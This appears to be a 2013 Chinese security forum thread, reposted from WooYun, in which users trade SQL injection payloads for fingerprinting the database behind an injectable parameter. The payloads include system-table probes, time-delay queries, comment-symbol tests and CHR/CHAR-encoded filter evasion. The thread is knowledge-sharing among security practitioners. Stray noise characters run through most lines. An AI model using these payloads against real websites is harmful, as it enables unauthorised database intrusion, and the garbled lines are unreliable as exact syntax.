一个注射点如何最快速确认是什么类型数据库
2 a# U+ i: P1 D0 ~, C( Axsser (十根阳具有长短!!) | 2013-02-05 12:363 G0 w/ ?& R5 R+ J/ P3 I9 S( U
假设这么一个注射点:
# p2 v# M) P6 c8 {" l6 W: x# jshow.html?id=2- t7 y% Y$ r: u& A' y' O/ H
mysql:id=2 and version()>09 K2 G1 _# N, E( N9 X
oracle:id=2 and '1'||'1'='11
4 S& f7 \1 J& c" z其他的欢迎补充* O1 O$ f3 x$ N; A7 T
1#
5 ~9 A/ U3 Q3 l) f; W3 h$ |( lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
" Z* h t0 {" E. L& GAccess:% O: e1 I% A2 O2 L; l
aNd aSc(cHr(97))=97- X- A! F9 U- {/ _% I4 U
and exists(select id from MSysAccessObjects): Z* L" O- N6 w) ~/ j+ U; T: y5 `- h
SQL Server:* n6 L$ s/ H* ^' D! Q4 m+ ?
and exists(select id from sysobjects)
2 e$ ~8 F! `9 N6 f+ ?and length(user)>0
: ?1 @7 I3 Z6 |, j7 @MySQL:3 U6 V& F. @5 I0 d q
and length(user())>0
4 b2 ^) j9 Q K1 Z* j2#
3 u4 g$ V! w4 Wxsser (十根阳具有长短!!) | 2013-02-05 12:48' K$ Q0 O# }$ b
@upload 如果这些都不是呢…
: D+ ?, h `' ~) `, P \7 U3#
/ L+ c' o% ^2 v. S* ]8 Jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:038 U6 }$ Q; X/ J+ F
@xsser 不快速的,延时注入
. n- [) ^5 g2 [- V不知道这样写对不对
( g, z" g8 _8 d$ nmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
k- s6 M, n) ?0 P1 F1 d% ~mysql:id=2 and select benchmark(1e8,current_date());
; U' ^3 T* o( o. G7 s: X& ]- v* N4#
9 U. z7 l' H+ Yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:100 S4 @$ K" Y3 W9 K: z
最快的貌似是看报错信息
; X" u$ i6 A, b( ~3 D, }* G \6 Woracle error
! r/ D7 l' D& D k7 ?$ F% ymssql error8 G$ S. v7 e D# c1 M7 Y
mysql error
0 v% e% v; g1 u" Q* d4 d6 G5#
; ~' b0 p( x4 o# CNimda (你们都是坏银~) | 2013-02-05 13:14
5 U& K4 E& O" T小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)$ ~1 N: M9 n, k1 y8 a
6#) ^7 C$ {# x% L: U6 m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
2 ]/ M. N* N A8 ]“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
3 c( Y3 N, d" d# t8 f4 O“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
9 a3 j, _1 }2 R; L" O! g- p“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
" g6 q- p4 H! Q% B/ j% \$ z+ G7#
1 U+ b# d, b& G! |6 L8 _: e_Evil (HackEnd) | 2013-02-05 13:33
' M( r, q4 r/ o3 BPostgreSQL N5 x5 \+ w8 J
8#( U9 L; ~' F* `2 l% j8 ?7 p3 {
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42) I9 R$ W5 t S
切换编码 and 1=13 a& M/ _* Y* s( a% `$ X
oracle:( I. a* L% e+ I E' ~
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
5 ]: |) ~+ F/ m" mmssql:
' b* O8 L: P2 A( k) h! |CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49): S7 z. ?2 Q% x
mysql: x5 X. r U: l( p2 G' \: z1 N+ i
CHAR(97, 110, 100, 32, 49, 61, 49)
* j# H0 v% C, \6 V2 n9#. {( v* W0 Y+ X
xsser (十根阳具有长短!!) | 2013-02-05 14:31' y1 f/ w4 s. g; Z0 [2 |1 m$ o
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?7 D+ Y& `, s! K1 i
10#
' D, p9 f1 S/ Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46" [5 `' u( l7 R" c
@xsser 是奇葩数据库类型的么?
! o& x; J; g9 W: j根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
4 m( o% S! ~+ d1.是否可以使用特定的函数来判断,该数据库特有的5 c1 @+ f8 Y! [( S% @
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等, g9 N$ S. j8 n( x" w; B
3.是否可以编码查询
' N- j7 a4 j* e6 d# }* W" [4.是否显可以利用错信息" D$ l2 a1 t; d% I: X1 `
5.是否存在数据库某些特性辅助判断
8 n9 a' K9 I$ u+ [个人见解3 s- v5 O. a9 H
11#
0 r5 N$ d, N8 b" Z. V小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
8 A+ H& [. j" p+ g7 f; ]3 {$ ^已收藏,mssql可以直接看到错误提示的吧~7 N& E6 e) w0 ]
12#; L) B4 p" L* T, H( p5 D+ l
Passer_by | 2013-02-05 15:09+ b3 Z! \2 p& T/ s$ R' {1 T0 f
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
; \+ Q+ n1 f; _from:http://zone.wooyun.org/content/260 |